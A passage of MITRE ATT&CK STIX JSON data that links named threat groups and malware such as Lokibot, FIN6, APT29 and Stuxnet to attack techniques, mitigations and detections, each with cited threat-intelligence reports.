2021)","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da331399-4c9f-4a16-92b1-97e635703c18","created":"2020-05-06T03:13:43.392Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.224Z","description":"(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da33f077-8ce2-4a2d-a8ed-f9f21799c80e","type":"relationship","created":"2020-05-14T19:06:50.933Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Msiexec Feb 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/","description":"Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019."},{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-09-15T21:10:12.837Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has tricked recipients into enabling malicious macros by getting victims to click \"enable content\" in email attachments.(Citation: TrendMicro Msiexec Feb 2018)(Citation: Talos Lokibot Jan 2021)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da37b8c0-7006-43f9-aebb-44ae51a54dd0","created":"2023-05-17T19:06:16.902Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-17T19:06:16.902Z","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) has been delivered to victims as a malicious email attachment.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da395019-238a-4c4e-b4cd-43947e8aa019","type":"relationship","created":"2017-05-31T21:33:27.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"},{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"},{"description":"Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.","url":"https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf","source_name":"Visa FIN6 Feb 2019"}],"modified":"2020-09-09T15:53:09.750Z","description":"To move laterally on a victim network, [FIN6](https://attack.mitre.org/groups/G0037) has used credentials stolen from various systems on which it gathered usernames and password hashes.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)(Citation: Visa FIN6 Feb 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da3a85c7-7590-48b1-8a22-2f8b00060f83","type":"relationship","created":"2017-05-31T21:33:27.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-07-25T14:25:53.491Z","description":"(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da3fc762-2ac5-4ab7-8c77-6df2f06b5680","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","source_name":"Unit 42 DarkHydrus July 2018"},{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"}],"modified":"2019-04-22T19:23:13.517Z","description":"[DarkHydrus](https://attack.mitre.org/groups/G0079) leveraged PowerShell to download and execute additional scripts for execution.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit 42 Playbook Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da4059ab-c858-4df1-94e0-25db2d6ea136","created":"2023-03-13T21:10:40.799Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos TeamTNT","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved July 8, 2022.","url":"https://blog.talosintelligence.com/2022/04/teamtnt-targeting-aws-alibaba.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T00:17:22.553Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has leveraged AWS CLI to enumerate cloud environments with compromised credentials.(Citation: Talos TeamTNT)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--55bb4471-ff1f-43b4-88c1-c9384ec47abf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da407f63-38cf-4247-b0bc-967ce74a2d78","type":"relationship","created":"2020-01-24T15:15:13.616Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T15:15:13.616Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da44c85c-914b-41e0-aef7-68cd3c1faea1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/","description":"F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.","source_name":"F-Secure Sofacy 2015"},{"url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","source_name":"Unit 42 Sofacy Feb 2018"}],"modified":"2020-03-20T16:40:41.146Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) performs code injection injecting its own functions to browser processes.(Citation: F-Secure Sofacy 2015)(Citation: Unit 42 Sofacy Feb 2018)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da4b552e-fae2-42ef-ac2f-9b61e6ff365a","type":"relationship","created":"2020-12-17T02:27:05.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye ADFS","url":"https://www.troopers.de/troopers19/agenda/fpxwmn/","description":"Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020."}],"modified":"2021-10-12T14:26:52.532Z","description":"Administrators should perform an audit of all access lists and the permissions they have been granted to access web applications and services. This should be done extensively on all resources in order to establish a baseline, followed up on with periodic audits of new or updated resources. Suspicious accounts/credentials should be investigated and removed.\n \nEnable advanced auditing on ADFS. Check the success and failure audit options in the ADFS Management snap-in. Enable Audit Application Generated events on the AD FS farm via Group Policy Object.(Citation: FireEye ADFS)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da4e4583-7382-4a38-a922-9b5f6c61b8a7","type":"relationship","created":"2020-03-20T00:00:19.107Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PowerSploit May 2012","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","url":"https://github.com/PowerShellMafia/PowerSploit"},{"source_name":"PowerSploit Documentation","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","url":"http://powersploit.readthedocs.io"}],"modified":"2020-11-23T17:52:11.446Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can harvest credentials from Windows vault credential objects.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da51fa84-a70c-4a1c-8c77-a063b200e8ab","created":"2024-01-11T20:50:46.185Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-11T20:50:46.185Z","description":"(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da53b0a3-6b35-46af-b47c-f2e9f22ec683","type":"relationship","created":"2020-02-05T16:23:01.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T16:23:01.845Z","relationship_type":"revoked-by","source_ref":"attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e","target_ref":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--da542c01-9b62-4e42-9036-809ceb31eb8d","created":"2022-05-04T22:33:08.949Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Chrommme](https://attack.mitre.org/software/S0667) can collect data from a local system.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-04T22:33:08.949Z","relationship_type":"uses","source_ref":"malware--579607c2-d046-40df-99ab-beb479c37a2a","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da5a2ac1-5e59-42ef-98c4-0d24597a32fb","created":"2024-03-01T16:25:43.053Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T16:25:43.053Z","description":"Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da62e1f0-d49d-40ed-b983-fcfaaacb42f5","created":"2022-10-04T21:43:43.764Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T21:43:43.764Z","description":"Some [SUGARDUMP](https://attack.mitre.org/software/S1042) variants required a user to enable a macro within a malicious .xls file for execution.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da6385c2-53f2-40b5-b487-a40d2c613d8d","created":"2024-01-09T19:16:41.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-09T19:17:20.958Z","description":"[Samurai](https://attack.mitre.org/software/S1099) can use a remote command module for execution via the Windows command line.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da63f54a-e6a4-414b-9d54-404b0a63d2f6","created":"2020-12-29T16:20:58.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:14:34.373Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) uses an RPC server that contains a file dropping routine and support for payload version updates for P2P communications within a victim network.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da68887e-3811-4537-90b1-21d42a90e960","created":"2023-03-26T20:08:57.671Z","revoked":false,"external_references":[{"source_name":"Microsoft 365 Defender Solorigate","description":"Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"},{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:08:57.671Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used WMI for the remote execution of files for lateral movement.(Citation: Microsoft 365 Defender Solorigate)(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da69efe7-e99e-4d79-a455-c59f4c087b22","type":"relationship","created":"2019-01-29T17:59:44.519Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2020-03-16T19:32:51.125Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) checks processes on the system and if they meet the necessary requirements, it injects into that process.(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da6a811d-2a77-4f6f-a19e-2aff8662f12f","created":"2019-05-24T17:57:36.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SecureList Silence Nov 2017","description":"GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.","url":"https://securelist.com/the-silence/83009/"},{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."},{"source_name":"Cyber Forensicator Silence Jan 2019","description":"Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.","url":"https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.224Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has sent emails with malicious DOCX, CHM, LNK and ZIP attachments. (Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da6aa745-9eb5-44d9-80f8-e9f542d106d2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos ZeroAccess","description":"Wyke, J. (2012, April). ZeroAccess. Retrieved July 18, 2016.","url":"https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode rootkit.(Citation: Sophos ZeroAccess)","relationship_type":"uses","source_ref":"malware--552462b9-ae79-49dd-855c-5973014e157f","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da6e7647-cfe3-4ba9-af97-d442ffed09cd","created":"2024-06-18T20:05:31.513Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T20:06:51.225Z","description":"[Spica](https://attack.mitre.org/software/S1140) can use JSON over WebSockets for C2 communications.(Citation: Google TAG COLDRIVER January 2024)","relationship_type":"uses","source_ref":"malware--824a230d-0f6a-4fd0-99df-8d464db2265e","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da713616-e8e6-4170-bcb4-f7c54c41415d","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor for the activation or invocation of an instance (ex: instance.start within GCP Audit Logs)","source_ref":"x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f","target_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da734f6c-de0d-44f1-9521-6607b800ad43","type":"relationship","created":"2017-05-31T21:33:27.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-dropping-elephant-actor/75328/","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant – aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.","source_name":"Securelist Dropping Elephant"},{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2020-03-19T19:58:57.945Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) payloads download additional files from the C2 server.(Citation: Securelist Dropping Elephant)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da759124-8047-4b58-b7d4-fa9300cb4ce1","type":"relationship","created":"2021-01-13T21:54:29.651Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Pawn Storm Dec 2020","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html","description":"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."}],"modified":"2021-04-19T21:12:35.769Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used Google Drive for C2.(Citation: TrendMicro Pawn 